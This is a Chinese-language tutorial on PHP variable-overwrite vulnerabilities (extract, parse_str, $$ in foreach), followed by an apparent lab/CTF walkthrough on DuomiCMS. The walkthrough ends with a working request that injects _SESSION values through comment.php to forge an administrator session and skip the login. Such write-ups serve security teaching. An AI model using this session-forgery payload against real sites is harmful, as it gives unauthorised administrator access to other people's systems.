什么是变量覆盖
变量覆盖指的是可以用我们的传参值替换程序原有的变量值,自身危害由代码本身来决定。
如何寻找变量覆盖
经常导致变量覆盖漏洞场景有:$$ 使用不当,extract() 函数使用不当,parse_str() 函数使用不当,import_request_variables() 使用不当,开启了全局变量注册等。
函数解析
传参当做变量,开发起来更加的方便快捷,二次开发会有很大的帮助。
extract()函数
作用: 把数组变成变量。
<?php
$a = "1";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
运行结果:$a = Cat; $b = Dog; $c = Horse
典型CTF:
parse_str() 函数
作用: 把字符串变成变量
<?php
parse_str("name=gyy&&age=60"); // test=123&gift=123
echo $name."<br>";
echo $age;
?>
输出了gyy和60
$$特殊符号
-
不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$ 。 -
$$ 导致的变量覆盖问题在CTF 代码审计题目中经常在foreach 中出现,如以下的示例代码,使用foreach 来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值,因此就产生了变量覆盖漏洞。请求?name=test 会将$name 的值覆盖,变为test 。
【实现传参作为变量】:
<?php
$a = 1;
foreach(array('_COOKIE','_POST','_GET') as $_request) { // $_request只是一个普通的变量名
foreach($$_request as $_key=>$_value)
{$$_key=addslashes($_value);}}
echo $a;
?>
这个代码会接受我们的GET 提交、POST 提交、COOKIE 参数,将这个接受来的参数依次放入$_request ,$$_request 是两次变量赋值操作,$_key=>$_value 这是个数组解析,实际上就是键值分离。key 指传参名,value 指传参值。正常而言$a = 1 是一个定值,但是因为$$_key 的缘故,当我传参a=2 ;那么$$_key=addslashes($_value) 【addslashes 函数在这里可以理解为把传参作为变量】;就变为了$a = 2 。
练习
- 本次练习用到
Duomicms ,我们首先使用代码审计工具在源码中搜索危险函数extract() ,发现没有任何用处。 parse_str() 函数源码中没有出现。 - 继续尝试特殊符号
$$ - 因为我们没有后台权限,所以在代码审计过程中,
admin 目录下的文件可以忽略不看,一般common. 、.func. 【定义函数,函数库】 、.class. 、.inc. 这些文件都比较有用。 - 我们找到一个可用的函数点。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
- 我们在本次搭建好
CMS 后,抓取后台登录的数据包 - 我们找到后台登录相关的源码
login.php ,这个页面似乎还调用了check.admin.php ,或者发现了keepuser() 这个函数,选中函数,右键定位函数也可找到check.admin.php 文件。通过看check.admin.php 这个文件的备注,就能知道这个文件是控制session 的,可以控制权限、id 、用户名,那么我们是不是可以通过common.php 进行一个伪造session 呢?
8. 为了得到session ,修改login.php ,使其登录成功后输出session 。
die(var_dump($_SESSION));
array(5) { ["duomi_ckstr"]=> string(4) "rmcf" ["duomi_ckstr_last"]=>
string(0) "" ["duomi_admin_id"]=> string(1) "1" ["duomi_group_id"]=>
string(1) "1" ["duomi_admin_name"]=> string(5) "admin" }
- 接下来的核心是设置
SESSION ,SESSION 修改前需要先开启,即session_start() 函数。找到含有这个函数的文件对它进行传参。
http://blfg95a.zs.aqlab.cn/duomicms/upload/interface/comment.php?
_SESSION[duomi_ckstr]=rmcf&_SESSION[duomi_ckstr_last]=
&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
先进行强行修改SESSION ,我们再访问后台http://blfg95a.zs.aqlab.cn/admin/ ,不需要输入账号密码,直接管理员登录成功。
11. 进入后台,在公众号页面即可得到flag 。
|